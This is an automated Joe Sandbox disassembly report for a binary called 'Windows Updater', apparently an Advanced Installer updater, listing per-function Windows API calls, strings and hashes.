Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: File$CloseErrorEventHandleLastOpenView$MappingUnmap
String ID:
API String ID: 228536551-0
Opcode ID: db44096e96b5db6a681bac315e06e92b680bd88e70cf42261a6a288fcd85a757
Instruction ID: 4fa4df1d7d1edcdc6cb043be295a73c129910f020eafe48a521a313f601164f2
Opcode Fuzzy Hash: db44096e96b5db6a681bac315e06e92b680bd88e70cf42261a6a288fcd85a757
Instruction Fuzzy Hash: AB517075A00605DFDB10CFA8CC58B9ABBB9FF45321F148359E824EB2D1D7749A018FA0

Uniqueness

Uniqueness Score: -1.00%

Function 005CCD10 Relevance: 10.9, APIs: 7, Instructions: 398registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Part of subcall function 005E02F0: _wcschr.LIBVCRUNTIME ref: 005E033D
Part of subcall function 005E02F0: _wcsrchr.LIBVCRUNTIME ref: 005E0518

RegOpenKeyExW.KERNEL32(80000001,?,00000000,?,00000000,?), ref: 005CCE2E
RegOpenKeyExW.KERNEL32(80000002,?,00000000,?,00000000,?), ref: 005CCEA6
RegCloseKey.ADVAPI32(00000000,?,?), ref: 005CCF8D

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Open$CloseHeapProcess_wcschr_wcsrchr
String ID:
API String ID: 2171131832-0
Opcode ID: cc87fcd99daa8d2e8a316a8e1b36b7e73c671ae3abe1eea9ba1b9566d3e18a99
Instruction ID: 5ee61e9db34e534f850ca13bc7d7e0a0ce1436f29e74307758f7d76cbb26d94e
Opcode Fuzzy Hash: cc87fcd99daa8d2e8a316a8e1b36b7e73c671ae3abe1eea9ba1b9566d3e18a99
Instruction Fuzzy Hash: B4F15970901249DFDB01DBE8C948BDEFBF9BF49314F1482A9E415E7292EB749A05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 005C71F0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 234processCOMMON

Download Yara Rule

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

_wcsrchr.LIBVCRUNTIME ref: 005C7250
CreateProcessW.KERNEL32(00000001,?,00000000,00000000,00000000,00000000,00000000,?,00000044,?), ref: 005C7413
GetLastError.KERNEL32(?,00000000,?,0062D060,00000000), ref: 005C741D
ShellExecuteExW.SHELL32(?), ref: 005C7471

Strings

Running temp updater from path: , xrefs: 005C733C
open, xrefs: 005C746A

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Process$CreateErrorExecuteHeapLastShell_wcsrchr
String ID: Running temp updater from path: $open
API String ID: 1219615081-1129110820
Opcode ID: e2c4364dc2d527723c6b95bf5097603014aa5b373cefab603b74a6f393d83f11
Instruction ID: bdf0ab4f09422bd6932f92ecf4e16588c0b8f507b54aad6ee26d10f8d24a5853
Opcode Fuzzy Hash: e2c4364dc2d527723c6b95bf5097603014aa5b373cefab603b74a6f393d83f11
Instruction Fuzzy Hash: 47919E7190064A9FDB04DFA8CD45BAEBBB5FF89314F14825EE4159B291EB709940CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00597B70 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,14058998,00000000), ref: 00597BAC
EnterCriticalSection.KERNEL32(00000000,14058998,00000000), ref: 00597BB9
OutputDebugStringW.KERNEL32(00000000), ref: 00597C0E
LeaveCriticalSection.KERNEL32(?,?), ref: 00597CB7

Strings

Logger::SetLogFile( %s ) while OLD path is:%s, xrefs: 00597BEF
d, xrefs: 00597B8F, 00597CC4

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalSection$DebugEnterInitializeLeaveOutputString
String ID: Logger::SetLogFile( %s ) while OLD path is:%s$d
API String ID: 174071661-3833511406
Opcode ID: 62dd90093518138bc42a233e827b344c6cd4a35d6029bc601f5d4f5e169c8884
Instruction ID: 9b637690c3feb64e72e9ef60d1726e922e9f322e25b5a7b71811ecc8008db84a
Opcode Fuzzy Hash: 62dd90093518138bc42a233e827b344c6cd4a35d6029bc601f5d4f5e169c8884
Instruction Fuzzy Hash: 9D41F631504209DFDF10DF68D805BAABFB5FF69314F1482AAE815972A1D7319D00CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0059CDE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0059B89C,00000000,.part,00000005,?,?,14058998), ref: 0059CDED
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0059B89C,00000000,.part,00000005,?,?,14058998), ref: 0059CE0E
InternetOpenW.WININET(AdvancedInstaller,00000003,?,00000000,10000000), ref: 0059CE5B
GetLastError.KERNEL32(.part,00000005,?,?,14058998), ref: 0059CE6E
InternetSetStatusCallbackW.WININET(00000000,0059CE90), ref: 0059CE7D

Strings

AdvancedInstaller, xrefs: 0059CE56

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CreateEventInternet$CallbackErrorLastOpenStatus
String ID: AdvancedInstaller
API String ID: 2592705480-1372594473
Opcode ID: ca6043f4f92aa64ccc906a4c9d43038d3055dfb553889f899dd8769f713e52d8
Instruction ID: 207493b45b36a9daa7ce17def3b4a6d70eda10eb1d747cf5c457517a4c82aa43
Opcode Fuzzy Hash: ca6043f4f92aa64ccc906a4c9d43038d3055dfb553889f899dd8769f713e52d8
Instruction Fuzzy Hash: D7116D31340602FBDB22CB25DC89F56BFA9FB88705F248426F5069B690CB71F811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 005C7ED0 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 443fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 005C8397
CloseHandle.KERNEL32(00000000), ref: 005C83C0
GetFileSize.KERNEL32(00000000,00000000), ref: 005C83CD
CloseHandle.KERNEL32(00000000), ref: 005C83E9

Strings

open, xrefs: 005CA9B3

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CloseFileHandle$CreateSize
String ID: open
API String ID: 4148174661-2758837156
Opcode ID: edb3d1a64d8091d7b8d84066312de1b7efa0d2063e2e57972fd166100334cef3
Instruction ID: 95e33801360f030b23ffdd9d31711a95ad0f288cfa7796f4c890c3ff023a8757
Opcode Fuzzy Hash: edb3d1a64d8091d7b8d84066312de1b7efa0d2063e2e57972fd166100334cef3
Instruction Fuzzy Hash: 4D027D70600644DFDB25CFA4C888FAABFB1FF44704F18856CE5569F2A2CB75A949CB50

Uniqueness

Uniqueness Score: -1.00%

Function 005E4D90 Relevance: 9.2, APIs: 6, Instructions: 162fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000,00000000,14058998), ref: 005E4E14
GetLastError.KERNEL32 ref: 005E4E2F
WriteFile.KERNEL32(00000000,0000FEFF,00000002,00000000,00000000), ref: 005E4E59
GetLastError.KERNEL32 ref: 005E4E63
CloseHandle.KERNEL32(00000000), ref: 005E4E7B
CloseHandle.KERNEL32(00000000), ref: 005E4EA1

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CloseErrorFileHandleLast$CreateWrite
String ID:
API String ID: 7012363-0
Opcode ID: df6eaad8fe3c5d1449702f9144ec3210a628a6adf7548d04ef22917653e51158
Instruction ID: 3c42dfe77946f6b94103367293d71f3434c9ce13cca5f268baf1aa9726e12bc8
Opcode Fuzzy Hash: df6eaad8fe3c5d1449702f9144ec3210a628a6adf7548d04ef22917653e51158
Instruction Fuzzy Hash: F651D070900659DBDB14CF69C848BEEBFB9FF08714F148259E864AB381D7B49944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 005D0F50 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 005D0FEE

Strings

Updater finished. Mode: , xrefs: 005D103F
<, xrefs: 005D0FCF
. Return code: , xrefs: 005D1058
open, xrefs: 005D0FE7

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ExecuteShell
String ID: . Return code: $<$Updater finished. Mode: $open
API String ID: 587946157-3707118139
Opcode ID: b11bcc4acce0f4718dff2542a3968f0633f26e1c9640121d575eba6e7019a072
Instruction ID: 946e8b1e7408567e82fa0c945c7133c21bd0f40843a2115b76fd85d119ed1011
Opcode Fuzzy Hash: b11bcc4acce0f4718dff2542a3968f0633f26e1c9640121d575eba6e7019a072
Instruction Fuzzy Hash: D9510731A0064A9BDB31DBACC849BAEBFB5FF85314F24861BE4149B391DB748D40CB95

Uniqueness

Uniqueness Score: -1.00%

Function 005B0490 Relevance: 7.8, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

GetPrivateProfileStringW.KERNEL32(?,?,00000010,00000000,00000100,00000002), ref: 005B050A
GetPrivateProfileStringW.KERNEL32(?,?,00000010,00000000,00000100,00000002), ref: 005B0561
GetPrivateProfileSectionNamesW.KERNEL32(00000000,00000100,?), ref: 005B0630
GetPrivateProfileSectionNamesW.KERNEL32(00000000,00000100,?), ref: 005B0682
WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 005B07B5

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: PrivateProfile$String$NamesSection$HeapProcessWrite
String ID:
API String ID: 305312363-0
Opcode ID: 95588fb947700dc427c005bd786b84f3822b61d73e694739ddd0a0de3689fb06
Instruction ID: 993858a6796c26db0f530a2722741ba4a6ac80090412a076ee044cebf101261d
Opcode Fuzzy Hash: 95588fb947700dc427c005bd786b84f3822b61d73e694739ddd0a0de3689fb06
Instruction Fuzzy Hash: F4A1AF71901206EFDB14DFA8C849BAFBBB5FF44320F148569E415AB2A1DB75AA00DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0059E9C0 Relevance: 7.6, APIs: 5, Instructions: 62synchronizationnetworkCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,?,?,?,0059DE32,?,?,?,?,?,00000003,00000000,14058998,?,?), ref: 0059E9D3
InternetConnectW.WININET(0059DE32,0059DE32,0059DE32,0059DE32,0059DE32,0059DE32,0059DE32), ref: 0059E9F6
GetLastError.KERNEL32(?,?,?,0059DE32,?,?,?,?,?,00000003,00000000,14058998,?,?), ref: 0059EA00
WaitForSingleObject.KERNEL32(?,0000000A,?,?,?,0059DE32,?,?,?,?,?,00000003,00000000,14058998,?,?), ref: 0059EA31
SetEvent.KERNEL32(?,?,?,?,0059DE32,?,?,?,?,?,00000003,00000000,14058998,?,?), ref: 0059EA56

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Event$ConnectErrorInternetLastObjectResetSingleWait
String ID:
API String ID: 3866874665-0
Opcode ID: 647dd83c5899a98121bdc11fc52b7ac853a3513b15b4ffa2ab56d9e70bcd5dab
Instruction ID: 18ac6767015bf1bca4a82c8a612d935efcc35daaa1916d6d4eb11473de11431c
Opcode Fuzzy Hash: 647dd83c5899a98121bdc11fc52b7ac853a3513b15b4ffa2ab56d9e70bcd5dab
Instruction Fuzzy Hash: 81115A32200A44DADB20DB65E88DB977FE5FBA5326F14A82AE08682571C730A895D760

Uniqueness

Uniqueness Score: -1.00%

Function 005B03D0 Relevance: 7.6, APIs: 5, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,14058998), ref: 005B040C
GetLastError.KERNEL32(?,?,?,?,006139FD,000000FF), ref: 005B042A
ReadFile.KERNEL32(00000000,?,00000004,?,00000000,?,?,?,?,006139FD,000000FF), ref: 005B0440
GetLastError.KERNEL32(?,?,?,?,006139FD,000000FF), ref: 005B044A
CloseHandle.KERNEL32(00000000,?,?,?,?,006139FD,000000FF), ref: 005B0469

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleRead
String ID:
API String ID: 3160720760-0
Opcode ID: 5e2499c6f9d3556221de59ff0d1a6e6e322e5285800e7fc32da76657d48d86c6
Instruction ID: 02f29e4903d324b7c19beef3f2a9571ce894055a9cb13ee5e0e968cc0428ec5a
Opcode Fuzzy Hash: 5e2499c6f9d3556221de59ff0d1a6e6e322e5285800e7fc32da76657d48d86c6
Instruction Fuzzy Hash: E9119631A00605EFDB208F64DC05BEABFB9F748B20F10922AFA11E72D0D7B165008690

Uniqueness

Uniqueness Score: -1.00%

Function 0057D9B0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 343COMMON

Download Yara Rule

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

PathIsUNCW.SHLWAPI(?,?), ref: 0057DB46
_wcschr.LIBVCRUNTIME ref: 0057DB62

Strings

\\?\UNC\, xrefs: 0057DA41, 0057DAB9, 0057DABF
\\?\, xrefs: 0057DB28, 0057DB2E

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: HeapPathProcess_wcschr
String ID: \\?\$\\?\UNC\
API String ID: 1853780674-3019864461
Opcode ID: 5365b07650ce4db812a76573c3319e285fbb6c8dcfe0b7cbb85dc761782e4ba0
Instruction ID: ef3407284ec56ddd86ea1b372fd6612f2648570330effe90877bed208aeb6cee
Opcode Fuzzy Hash: 5365b07650ce4db812a76573c3319e285fbb6c8dcfe0b7cbb85dc761782e4ba0
Instruction Fuzzy Hash: 2DC1737190060A9FDB00DBA8DC49BAEFBB9FF44314F14C269E519E7291EB749904DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0059D0B0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

Strings

GET, xrefs: 0059D13A
OpenUrl() returned:, xrefs: 0059D196

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID:
String ID: GET$OpenUrl() returned:
API String ID: 0-2056621786
Opcode ID: c02e06fff5ee230989ac446888fce25d44bda9e1bc69ba3261af3588d8c287f2
Instruction ID: 9a6fc85961bf3650b4cfdbedc387df42a3760a479adfdc59573d6506853ec720
Opcode Fuzzy Hash: c02e06fff5ee230989ac446888fce25d44bda9e1bc69ba3261af3588d8c287f2
Instruction Fuzzy Hash: 68A1C275A0064A9FDF14DF68C948BAEBBB5FF45310F14866AE825D7291D734DD00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 005BF810 Relevance: 6.1, APIs: 4, Instructions: 96fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000034,00000000,00000000,?,00000000,00000000,80070057,00000000,?,?,00000000,005BF89E), ref: 005BF8AA
GetLastError.KERNEL32(?,?,00000000,005BF89E,00000000,?,?,?,005BFAA1,?,?), ref: 005BF8C5
MapViewOfFile.KERNELBASE(00000000,00000002,00000000,00000000,00000000,?,?,00000000,005BF89E,00000000,?,?,?,005BFAA1,?,?), ref: 005BF8D9
GetLastError.KERNEL32(?,?,00000000,005BF89E,00000000,?,?,?,005BFAA1,?,?), ref: 005BF8E6

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ErrorFileLast$CreateMappingView
String ID:
API String ID: 2231327692-0
Opcode ID: 6f5af6a4c75fee8d16b17e21b1575e6f2a51227c05a23affbea3fafc8212081f
Instruction ID: 63b32934496a00169d02b62799da374e05f2e8a7561474a94ebdd544a37f4272
Opcode Fuzzy Hash: 6f5af6a4c75fee8d16b17e21b1575e6f2a51227c05a23affbea3fafc8212081f
Instruction Fuzzy Hash: 2031E132701622EFCB209B58EC48B89BBA5FF84720F004176F614EB161DB70F9518BE5

Uniqueness

Uniqueness Score: -1.00%

Function 005ADD30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005C6F10: WritePrivateProfileStringW.KERNEL32(00000000,?,?,14058998), ref: 005C6E77

DeleteFileW.KERNEL32(?,?,.dat,ClientConfigPath,-0000008C,14058998,?,00000000,00000000,?,?,?,?,14058998,00000000), ref: 005ADD8F

Part of subcall function 005E4D90: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000,00000000,14058998), ref: 005E4E14
Part of subcall function 005E4D90: GetLastError.KERNEL32 ref: 005E4E2F
Part of subcall function 005E4D90: CloseHandle.KERNEL32(00000000), ref: 005E4E7B

Strings

ClientConfigPath, xrefs: 005ADD69
.dat, xrefs: 005ADD75

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleLastPrivateProfileStringWrite
String ID: .dat$ClientConfigPath
API String ID: 1977886162-2898699670
Opcode ID: e7a6c97f36f67087534dc0ed8182a82a6033e03ab535c6fc69bcf73436454387
Instruction ID: f839719511545b28cebce6ae114b5c111951c4d5352a97ce6f708d098ff586ee
Opcode Fuzzy Hash: e7a6c97f36f67087534dc0ed8182a82a6033e03ab535c6fc69bcf73436454387
Instruction Fuzzy Hash: E0F04474A0021DEBDB10EF94DD45FAFBBBDFB48B14F004529B511E3382D674A9048BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0057DD30 Relevance: 4.7, APIs: 3, Instructions: 163COMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI(?,14058998,?,?,7591E010,?,?,?,14058998), ref: 0057DD79
CreateDirectoryW.KERNEL32(?,00000000,?,?,0062D100,00000001,?,00000000,?), ref: 0057DE27
GetLastError.KERNEL32 ref: 0057DE31

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath
String ID:
API String ID: 953296794-0
Opcode ID: 4994f2601b1c692831c752d42f1fd41fc5bdbbc095972a04c731add939ae56cc
Instruction ID: b5d6e9587546fb0e4fb1545f26663633bfdee01c44149b9799f13a40c7e01263
Opcode Fuzzy Hash: 4994f2601b1c692831c752d42f1fd41fc5bdbbc095972a04c731add939ae56cc
Instruction Fuzzy Hash: 7C51C03190050ADBDB11DFA8D849BDEFBB5FF54324F14C2A9E409A7291DB31AD01DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 005DEFD0 Relevance: 4.5, APIs: 3, Instructions: 37sleepCOMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 005DEFFD
Sleep.KERNEL32(00000064), ref: 005DF009
SetForegroundWindow.USER32(?), ref: 005DF01A

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: EnumForegroundSleepWindowWindows
String ID:
API String ID: 1323342413-0
Opcode ID: 0cdb2976b2394aaf92d3ec60cf0d0dcfb2447f9acac81810350c7be5d100ab64
Instruction ID: 0b0e915f95bb0a8041f87370c4b366ac97808723d6d89100be187f0e6d4341bf
Opcode Fuzzy Hash: 0cdb2976b2394aaf92d3ec60cf0d0dcfb2447f9acac81810350c7be5d100ab64
Instruction Fuzzy Hash: B3F0E2327003155BE200AF59FC45AAAF798FBC4A22F40443BED41C3200D775A80D86F1

Uniqueness

Uniqueness Score: -1.00%

Function 005F553D Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(FF000023,?,005F5537,?,005ECDA2,?,FF000023,14058998,005ECDA2,FF000023), ref: 005F554E
TerminateProcess.KERNEL32(00000000,?,005F5537,?,005ECDA2,?,FF000023,14058998,005ECDA2,FF000023), ref: 005F5555
ExitProcess.KERNEL32 ref: 005F5567

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
